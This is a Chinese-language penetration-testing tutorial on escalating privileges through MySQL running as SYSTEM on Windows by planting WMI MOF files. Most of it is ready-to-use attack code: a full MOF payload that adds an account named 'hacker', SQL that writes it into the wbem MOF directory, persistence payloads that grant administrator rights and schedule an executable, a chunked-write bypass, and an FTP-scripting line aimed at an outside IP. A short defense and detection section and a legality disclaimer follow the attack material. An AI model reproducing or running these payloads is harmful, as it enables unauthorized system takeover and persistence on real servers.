1. MOF提权技术背景解析
在Windows系统环境中,WMI(Windows Management Instrumentation)是一个核心的系统管理组件,它通过托管对象格式(MOF)文件来定义被管理对象的结构和行为。MOF文件本质上是一种脚本文件,能够被WMI编译器(mofcomp.exe)解析并执行。
MySQL服务在Windows平台默认以SYSTEM权限运行,这一特性使得攻击者可以通过精心构造的MOF文件实现权限提升。当MySQL具备写权限且能触发MOF文件编译时,攻击者就能获得系统最高权限。
注意:该漏洞主要影响Windows Server 2003及早期版本,现代Windows系统已通过权限限制缓解此问题
2. 攻击原理深度剖析
2.1 MOF文件执行机制
MOF文件通过以下路径被系统自动加载执行:
code复制C:\Windows\System32\wbem\MOF\
当文件被放置到此目录后,系统会通过以下流程处理:
- WMI服务检测到新MOF文件
- 调用mofcomp.exe进行编译
- 执行文件中定义的类和方法
2.2 MySQL的权限特性
MySQL Windows服务默认配置具有以下关键特征:
- 服务账户:NT AUTHORITY\SYSTEM
- 数据目录写入权限:通常开放给MySQL进程
- 可通过SQL语句执行文件写入操作
3. 完整攻击链实现
3.1 环境准备阶段
攻击前提条件检查:
sql复制-- 检查secure_file_priv配置
SHOW VARIABLES LIKE 'secure_file_priv';
-- 检查插件目录位置
SHOW VARIABLES LIKE 'plugin_dir';
-- 测试文件写入能力
SELECT 1 INTO OUTFILE 'C:\\test.txt';
3.2 MOF文件构造
典型提权MOF文件示例(保存为payload.mof):
mof复制#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "SELECT * FROM __InstanceModificationEvent "
"WHERE TargetInstance ISA \"Win32_LocalTime\" "
"AND TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hacker P@ssw0rd /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
3.3 攻击执行流程
- 上传MOF文件到目标系统:
sql复制SELECT 0x[MOF文件十六进制编码]
INTO DUMPFILE 'C:\\Windows\\System32\\wbem\\MOF\\evil.mof';
-
等待系统自动执行(通常5-60秒)
-
验证提权结果:
cmd复制net user hacker
4. 防御与检测方案
4.1 防御措施
-
权限最小化原则:
- 修改MySQL服务运行账户为普通用户
- 限制MySQL目录写入权限
-
系统加固:
powershell复制# 禁用MOF自动编译 Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\WBEM\CIMOM" -Name "Autorecover MOFs" -Value 0 -
MySQL配置优化:
ini复制[mysqld] secure_file_priv = NULL
4.2 攻击检测方法
-
文件监控:
- 实时监控wbem/MOF目录文件变更
-
进程监控:
- 检测异常mofcomp.exe执行
-
日志分析:
sql复制-- 审计文件操作日志 SELECT * FROM mysql.general_log WHERE argument LIKE '%INTO DUMPFILE%';
5. 现代环境下的演变
虽然原生MOF提权在现代系统已难奏效,但攻击者发展出新的变种:
-
DLL劫持结合MOF:
- 通过MySQL插件目录写入恶意DLL
- 利用MOF触发DLL加载
-
WMI事件订阅持久化:
mof复制instance of __EventFilter as $Filter { Query = "SELECT * FROM __InstanceCreationEvent " "WHERE TargetInstance ISA 'Win32_Process' " "AND TargetInstance.Name = 'explorer.exe'"; }; -
定时任务触发:
mof复制instance of ActiveScriptEventConsumer as $Consumer { ScriptText = "schtasks /create /tn \"Update\" /tr \"C:\\evil.exe\" /sc hourly"; };
6. 实战中的经验技巧
-
文件写入位置选择:
- 优先尝试以下路径(根据系统版本不同):
code复制C:\Windows\SysWOW64\wbem\MOF\ C:\Windows\System32\wbem\MOF\
- 优先尝试以下路径(根据系统版本不同):
-
绕过字符限制:
sql复制-- 分段写入技术 SELECT 0x第一部分 INTO DUMPFILE 'C:\\test.tmp'; SELECT 0x第二部分 INTO DUMPFILE 'C:\\test.tmp' LINES TERMINATED BY ''; -
隐蔽执行技巧:
mof复制ScriptText = "cmd /c \"echo open 1.1.1.1 21 > ftp.txt\""; -
权限维持方法:
mof复制instance of CommandLineEventConsumer { Name = "Persistence"; CommandLineTemplate = "cmd /c \"net localgroup administrators hacker /add\""; };
重要提示:所有渗透测试必须获得合法授权,未经授权的测试可能违反法律法规